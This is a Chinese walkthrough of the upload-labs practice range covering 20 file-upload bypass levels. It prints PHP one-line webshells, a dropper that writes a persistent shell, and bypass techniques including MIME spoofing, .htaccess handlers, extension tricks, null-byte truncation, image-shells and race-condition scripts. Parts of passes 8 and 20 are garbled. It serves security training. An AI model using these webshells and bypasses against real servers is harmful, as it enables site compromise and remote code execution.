文件上传upload-lads
第一关 前端绕过(js)
本关是对文件名的过滤(在客户端进行)
即若文件名中存在php等后缀则直接过滤(弹窗)
上传一个webshell到服务器
但只容许上传".jpg|.png|.gif";
".jpg|.png|.gif";
jpg。png。gif的文件都不可执行,所以需要上传.php的文件
创建1.jpg
写入一句话木马
GIF89a
<?php @eval ($_POST[pass] ) ;?>
使用bp重放
修改文件名为1.php即可
或者
因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数删了或者也可以把红色框改成true,并按回车,即可成功上传php文件
第二关 后端验证Content-type
服务器过滤
传入.php的一句话
修改Content-Type: application/octet-stream
为image/jpeg或者image/png
即可上传
第三关 黑名单绕过
用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件
但可以上传.phtml .phps .php5 .pht. php3
前提是apache的httpd.conf中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
改完之后即可上传成功
(尝试后发现php5会连接出错,php3可以)
第四关 .htaccess绕过
知识点:.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件
httpd.conf(Apache2已经支持多站点,因此你的站点配置文件可能在/etc/apache2/conf.d/目录下)。 .htaccess与httpd.conf配置文件不同的是,它只作用于当前目录。
另外httpd.conf是在Apache服务启动的时候就加载的,而.htaccess只有在用户访问目录时加载
黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess
前提条件(1.mod_rewrite模块开启。2.AllowOverride All)
因此先上传一个.htaccess文件,内容如下:
SetHandler application/x-httpd-php
这样所有文件都会当成php来解析
.htaccess文件不能有文件名,否则不运行
之后传入含有一句话木马的.jpg即可连接
第五关 大小写绕过
查看源码得知
相比于pass-4,过滤了.htaccess,但将后缀转换为小写去掉了,因此可以使用大小绕过
传入big and little**.PHP**即可
window值是window根据windows特性所使用的漏洞,服务器为linux时不适用
window第六关 空格绕过
查看源码得知
相比pass-4 取消了前后空格的过滤
所以使用bp在.php后加空格即可(.php )
利用Windows系统的文件名特性。文件名最后增加空格,写成06.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是06.php
window第七关 点绕过
没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:
window第八关 ::$DATA绕过
没有对后缀名中的’:: D A T A ’ 进 行 过 滤 。 在 p h p + w i n d o w s 的 情 况 下 : 如 果 文 件 名 + " : : DATA’进行过滤。在php+windows的情况下:如果文件名+":: DATA’进行过滤。在php+windows的情况下:如果文件名+"::DATA"会把:: D A T A 之 后 的 数 据 当 成 文 件 流 处 理 , 不 会 检 测 后 缀 名 . 且 保 持 " : : DATA之后的数据当成文件流处理,不会检测后缀名.且保持":: DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过:
windows第九关 点+空格+点绕过
代码先是去除文件名前后的空格,再去除文件名最后所有的.
,再通过strrchar函数来寻找.
来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过
第十关 双写绕过(pphphp)
黑名单过滤,将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过
后缀改为.pphphp
即可
第十一关GET%00截断
本题使用buu应该无法复现(buu可能是linux服务器)
php.ini文件里的magic_quotes_gpc可以为true
所以无法上传%00截断的文件
本机上:
通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态
关键代码:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
因为img_path是直接拼接的所以可以用00截断
可以通过截断上传(0x00,%00,/00 )实现。
上传路径名%00截断绕过。上传的文件名写成one.jpg,
save_path改成…/upload/one.php%00,最后保存下来的文件就是one.php
第十二关 post%00截断
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
save_path使用post的方法接收
save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要在二进制中进行修改。
第十三关 图片马+文件包含漏洞绕过
$bin = fread($file, 2); //只读2字节
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作图片马:
cmd:
copy 图片.jpg /b + hack.php /a shell.jpg
注:/b是转换二进制 /a是转换ascll码
直接访问图片并不能把图片当做PHP解析,因此还需要利用文件包含漏洞
题目直接给出了,构造即可
payload:
?include.php?upload/3020211007002439.jpg
第十四关 getimagesize()-图片
这题是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同pass-13
$info = getimagesize($filename);
第十五题 exif_imagetype()-图片马
这里用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13
$image_type = exif_imagetype($filename);
第十六关 二次渲染绕过
这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
利用文件包含漏洞
蚁剑连接即可
第十七关 条件竞争一
这道题复现了好久但就是不行,猜测是buu有防护使用bp进行攻击会停止访问,导致题目无法复现,这里是大佬在本机上配置的环境做的复现
提示是需要代码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path=UPLOAD_PATH.'/'.rand(10,99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。(默认是没有文件上传漏洞的)但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。
首先,我们上传PHP文件,用BP拦截
进行下一步操作前,这里有个小细节,就是不要
把BP的拦截功能
关闭了,要一直保持拦截状态以达到测试更好的效果
然后选择Clear$
接着设置无限发送空的Payloads
,来让它一直上传该文件
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
接下来我们可以在BP点击开始攻击
可以看到上传该文件的数据包不停地在进行重放。
在BP攻击的同时
我们也要运行python脚本,目的就是不停地访问zoe.php
知道成功访问到为止。当出现OK
说明访问到了该文件,那么Tony.php
应该也创建成功了,用蚁剑连一下即可
第十八关 条件竞争二
靶场有点问题不管传什么文件都传不到upload目录下,需要进行修改
同上题
打开第十八关,发现还是需要代码审计。那么再来看看源码吧。
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第17关
没区别)
然后我们要修改一下python脚本,不能再用回第17关的脚本了
,这里脚本要修改为文件包含
来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url
地址XXX
都是代表IP地址
)
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
当出现OK
说明访问到了该文件,那么Tony.php
应该也创建成功了,用蚁剑连一下试试。
第十九关 00截断
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过,方法同pass-12
或者
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
然后用BP来抓包,效果如下图,就是在upload-19.jpg
改为upload-19.php/.
修改完直接放包,然后复制图片地址,用蚁剑连接
第二十关
不是很懂看完大佬的wp后,理解了一点
这一关白名单
验证过程:
–> 验证上传路径是否存在
–> 验证[‘upload_file’]的content-type是否合法(可以抓包修改)
–> 判断POST参数是否为空定义
f
i
l
e
变
量
(
关
键
:
构
造
数
组
绕
过
下
一
步
的
判
断
)
−
−
>
判
断
f
i
l
e
不
是
数
组
则
使
用
e
x
p
l
o
d
e
(
′
.
′
,
s
t
r
t
o
l
o
w
e
r
(
file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower(
file变量(关键:构造数组绕过下一步的判断)−−>判断file不是数组则使用explode(′.′,strtolower(file))对file进行切割,将file变为一个数组
–> 判断数组最后一个元素是否合法
–> 数组第一位和
f
i
l
e
[
c
o
u
n
t
(
file[count(
file[count(file) - 1]进行拼接,产生保存文件名file_name
–> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
首先准备PHP一句话木马
bp拦截
我们要改的就是下面的要求
修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空
放包
复制图片地址,用蚁剑进行连接,这里有个细节,可能有人会问蚁剑连接的URL地址
.php
后面有一个点
,我们需不需要把它删了,其实这个点删不删没所谓,不影响的,照样能连上
欢迎交流